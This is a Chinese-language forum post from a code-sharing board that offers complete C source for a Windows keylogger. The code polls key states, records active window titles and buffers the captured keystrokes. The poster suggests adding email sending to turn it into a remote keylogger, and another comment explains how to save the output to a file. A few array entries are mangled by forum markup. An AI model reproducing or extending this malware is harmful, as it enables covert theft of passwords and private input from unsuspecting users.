查看: 804|回复: 0

[C++资源] c语言键盘记录源码

[复制链接]
发表于 2016-2-16 18:46 | 显示全部楼层 |阅读模式
qq6655443 2016-2-16 18:46 804 0 显示全部楼层
结合发邮件功能。就可以做一个简单的远程键盘记录。



  1. #include <windows.h>
  2. #include <stdio.h>

  3. // 一些全局变量

  4. // 小写字母键 & 其它的一些键
  5. char *LowerCase[]={
  6. "b",
  7. "e",
  8. "[ESC]",
  9. "[F1]",
  10. "[F2]",
  11. "[F3]",
  12. "[F4]",
  13. "[F5]",
  14. "[F6]",
  15. "[F7]",
  16. "[F8]",
  17. "[F9]",
  18. "[F10]",
  19. "[F11]",
  20. "[F12]",
  21. "`",
  22. "1",
  23. "2",
  24. "3",
  25. "4",
  26. "5",
  27. "6",
  28. "7",
  29. "8",
  30. "9",
  31. "0",
  32. "-",
  33. "=",
  34. "[TAB]",
  35. "q",
  36. "w",
  37. "e",
  38. "r",
  39. "t",
  40. "y",
  41. "u",
  42. "i",
  43. "o",
  44. "p",
  45. "[",
  46. "]",
  47. "a",
  48. "s",
  49. "d",
  50. "f",
  51. "g",
  52. "h",
  53. "j",
  54. "k",
  55. "l",
  56. ";",
  57. "'",
  58. "z",
  59. "x",
  60. "c",
  61. "v",
  62. "b",
  63. "n",
  64. "m",
  65. ",",
  66. ".",
  67. "/",
  68. "\",
  69. "[CTRL]",
  70. "[WIN]",
  71. " ",
  72. "[WIN]",
  73. "[Print Screen]",
  74. "[Scroll Lock]",
  75. "[Insert]",
  76. "[Home]",
  77. "[PageUp]",
  78. "[Del]",
  79. "[End]",
  80. "[PageDown]",
  81. "[Left]",
  82. "[UP]",
  83. "[Right]",
  84. "[Down]",
  85. "[Num Lock]",
  86. "/",
  87. "*",
  88. "-",
  89. "+",
  90. "0",
  91. "1",
  92. "2",
  93. "3",
  94. "4",
  95. "5",
  96. "6",
  97. "7",
  98. "8",
  99. "9",
  100. ".",
  101. };

  102. // 大写字母键 & 其它一些键
  103. char *UpperCase[]={
  104. "b",
  105. "e",
  106. "[ESC]",
  107. "[F1]",
  108. "[F2]",
  109. "[F3]",
  110. "[F4]",
  111. "[F5]",
  112. "[F6]",
  113. "[F7]",
  114. "[F8]",
  115. "[F9]",
  116. "[F10]",
  117. "[F11]",
  118. "[F12]",
  119. "~",
  120. "!",
  121. "@",
  122. "#",
  123. "[        DISCUZ_CODE_0        ]quot;,
  124. "%",
  125. "^",
  126. "&",
  127. "*",
  128. "(",
  129. ")",
  130. "_",
  131. "+",
  132. "[TAB]",
  133. "Q",
  134. "W",
  135. "E",
  136. "R",
  137. "T",
  138. "Y",
  139. "U",
  140. "I",
  141. "O",
  142. "P",
  143. "{",
  144. "}",
  145. "A",
  146. "S",
  147. "D",
  148. "F",
  149. "G",
  150. "H",
  151. "J",
  152. "K",
  153. "L",
  154. ":",
  155. """,
  156. "Z",
  157. "X",
  158. "C",
  159. "V",
  160. "B",
  161. "N",
  162. "M",
  163. "<",
  164. ">",
  165. ".?",
  166. "|",
  167. "[CTRL]",
  168. "[WIN]",
  169. " ",
  170. "[WIN]",
  171. "[Print Screen]",
  172. "[Scroll Lock]",
  173. "[Insert]",
  174. "[Home]",
  175. "[PageUp]",
  176. "[Del]",
  177. "[End]",
  178. "[PageDown]",
  179. "[Left]",
  180. "[Up]",
  181. "[Right]",
  182. "[Down]",
  183. "[Num Lock]",
  184. "/",
  185. "*",
  186. "-",
  187. "+",
  188. "0",
  189. "1",
  190. "2",
  191. "3",
  192. "4",
  193. "5",
  194. "6",
  195. "7",
  196. "8",
  197. "9",
  198. ".",
  199. };

  200. // Ascii码键,忘掉它们
  201. int SpecialKeys[]={
  202. 8,
  203. 13,
  204. 27,
  205. 112,
  206. 113,
  207. 114,
  208. 115,
  209. 116,
  210. 117,
  211. 118,
  212. 119,
  213. 120,
  214. 121,
  215. 122,
  216. 123,
  217. 192,
  218. 49,
  219. 50,
  220. 51,
  221. 52,
  222. 53,
  223. 54,
  224. 55,
  225. 56,
  226. 57,
  227. 48,
  228. 189,
  229. 187,
  230. 9,
  231. 81,
  232. 87,
  233. 69,
  234. 82,
  235. 84,
  236. 89,
  237. 85,
  238. 73,
  239. 79,
  240. 80,
  241. 219,
  242. 221,
  243. 65,
  244. 83,
  245. 68,
  246. 70,
  247. 71,
  248. 72,
  249. 74,
  250. 75,
  251. 76,
  252. 186,
  253. 222,
  254. 90,
  255. 88,
  256. 67,
  257. 86,
  258. 66,
  259. 78,
  260. 77,
  261. 188,
  262. 190,
  263. 191,
  264. 220,
  265. 17,
  266. 91,
  267. 32,
  268. 92,
  269. 44,
  270. 145,
  271. 45,
  272. 36,
  273. 33,
  274. 46,
  275. 35,
  276. 34,
  277. 37,
  278. 38,
  279. 39,
  280. 40,
  281. 144,
  282. 111,
  283. 106,
  284. 109,
  285. 107,
  286. 96,
  287. 97,
  288. 98,
  289. 99,
  290. 100,
  291. 101,
  292. 102,
  293. 103,
  294. 104,
  295. 105,
  296. 110,
  297. };

  298. HWND PreviousFocus=NULL;
  299. // 数据结束

  300. // 函数原型生命
  301. //----------------------------------------------------------------------
  302. BOOL IsWindowsFocusChange();
  303. BOOL KeyLogger();
  304. //----------------------------------------------------------------------
  305. // 函数原型声明结束

  306. // 主要的过程
  307. int main()
  308. {
  309. KeyLogger(); // 进行键盘记录
  310. return 0; // 程序退出
  311. }
  312. // 主要过程结束

  313. //-------------------------------------------------------------------------
  314. // 目的:  要检查活动窗口标题
  315. // 返回值: 布尔值(Boolean)
  316. // 参数: NULL
  317. //-------------------------------------------------------------------------
  318. BOOL IsWindowsFocusChange()
  319. {
  320. HWND hFocus = GetForegroundWindow(); // 检索活动窗口焦点
  321. BOOL ReturnFlag = FALSE; // 声明返回标志
  322. if (hFocus != PreviousFocus) // 如果活动窗口已更改
  323. {
  324.    PreviousFocus = hFocus;     // 保存旧活动的 Windos 焦点
  325.    int WinLeng = GetWindowTextLength(hFocus); // 获取活动窗口标题的长度
  326.    char *WindowCaption = (char*) malloc(sizeof(char) * (WinLeng + 2)); // 给标题分配内存
  327.    GetWindowText(hFocus,WindowCaption,(WinLeng + 1));     // 活动窗口标题检索
  328.    if (strlen(WindowCaption) > 0) // 如果获得的是真正的窗口标题
  329.    {
  330. printf("\r\nThe Active Windows Title: %s\r\n",WindowCaption); // 显示活动窗口的标题
  331. ReturnFlag=TRUE; // 指示已更改 Windows 的焦点
  332.    }
  333.    free(WindowCaption);     // 释放已分配的内存
  334. }
  335. return ReturnFlag; // 返回标志
  336. }// 结束获得窗口焦点变化

  337. //-------------------------------------------------------------------------
  338. // 目的: 管理(显示)检测到的来自系统密钥缓冲区的键
  339. // 返回值: 布尔值(Boolean)
  340. // 参数: NULL
  341. //-------------------------------------------------------------------------
  342. BOOL KeyLogger()
  343. {
  344. int bKstate[256] = {0};     // 关键声明
  345. int i,x;
  346. char KeyBuffer[600];     // 缓冲区数组
  347. int state; // 记录一些特别的键,像CapsLock,Shift和ect
  348. int shift;

  349. // 重置缓冲区
  350. memset(KeyBuffer,0,sizeof(KeyBuffer));

  351. while(TRUE)     // 创造一个死循环(无限次获得用户的键盘内容)
  352. {
  353.    Sleep(8); // 避免过度占用CPU
  354.    if (IsWindowsFocusChange()) //检查活动窗口标题
  355.    {
  356. if (strlen(KeyBuffer) != 0) // 如果按下了键
  357. {
  358.    printf("%s\r\n",KeyBuffer); // 显示按下的这个键
  359.    memset(KeyBuffer,0,sizeof(KeyBuffer));     // 重置缓冲区
  360. }
  361.    }

  362.    for(i=0;i<95;i++)     // 检查视觉的循环
  363.    {
  364. shift = GetKeyState(VK_SHIFT); // 检查是否按下 shift 键
  365. x = SpecialKeys[i]; // 找到这个键
  366. if (GetAsyncKeyState(x) & 0x8000) // 检查键的组合
  367. {
  368.    // 看看CapsLocak或shift键是否按下
  369. if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91))) // 如果没按下Caps Lock键和Shift键
  370. {
  371.        bKstate[x] = 1;     //大写字母 A-Z
  372. }
  373. else
  374.        if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91))) //如果按下了Caps Lock键和Shift键
  375.        {
  376.        bKstate[x] = 2;     //小写字母 a-z
  377.        }
  378.        else
  379.        if (shift < 0) //  按下 shift 键
  380.        {
  381.          bKstate[x] = 3;     //大写字母 A-Z
  382.        }
  383.        else
  384.          bKstate[x] = 4;     //小写字母 a-z
  385. }
  386. else
  387. {
  388.    if (bKstate[x] != 0)     // 没有检测到的组合键
  389.    {
  390.        state = bKstate[x]; // 检索当前状态
  391.        bKstate[x] = 0; // 重置当前状态
  392.        if (x == 8)     // 如果检测到删除键
  393.        {
  394.       KeyBuffer[strlen(KeyBuffer) - 1] = 0; // 一键恢复
  395.       continue; // 启动一个新的循环
  396.        }
  397.        else
  398.       if (strlen(KeyBuffer) > 550) // 缓冲区满
  399.       {
  400.          printf("%s <Buffer Full>",KeyBuffer); // 显示键检索
  401.          memset(KeyBuffer,0,sizeof(KeyBuffer));     //  重置缓冲区
  402.          continue; // 开始一个新循环
  403.       }
  404.       else
  405.          if (x == 13) // 如果检测到Enter键
  406.          {
  407.              if (strlen(KeyBuffer) == 0) // 除Enter键之外没有检测到其它键
  408.              {
  409.                              continue; // 开始一个新循环
  410.              }
  411.              printf("%s<Enter>\r\n",KeyBuffer); // 检索Enter键和其它键
  412.              memset(KeyBuffer,0,sizeof(KeyBuffer)); // 显示Enter键
  413.              continue; // 开始一个新循环
  414.          }
  415.          else
  416.             if ((state%2) == 1) //必须是大写字符
  417.              {
  418.             strcat(KeyBuffer,UpperCase[i]); // 存储一个键到缓冲区
  419.              }
  420.              else
  421.                if ((state%2) == 0) // 必须是小写字符
  422.             {
  423.                strcat(KeyBuffer,LowerCase[i]); // 存储一个键到缓冲区
  424.             }
  425.    }
  426. }
  427.    }// 结束for循环
  428. }// 结束while循环
  429. return TRUE; // 返回一个值并结束函数
  430. }// 结束键盘记录
  431. // 结束文件
  432. //如果想把结果保存下来,只需要把其中的输出函数替换为输出到文件就可以了
复制代码


您需要登录后才可以回帖 登录 | 立即注册

本版积分规则 返回列表 发新帖

快速回复 返回顶部 返回列表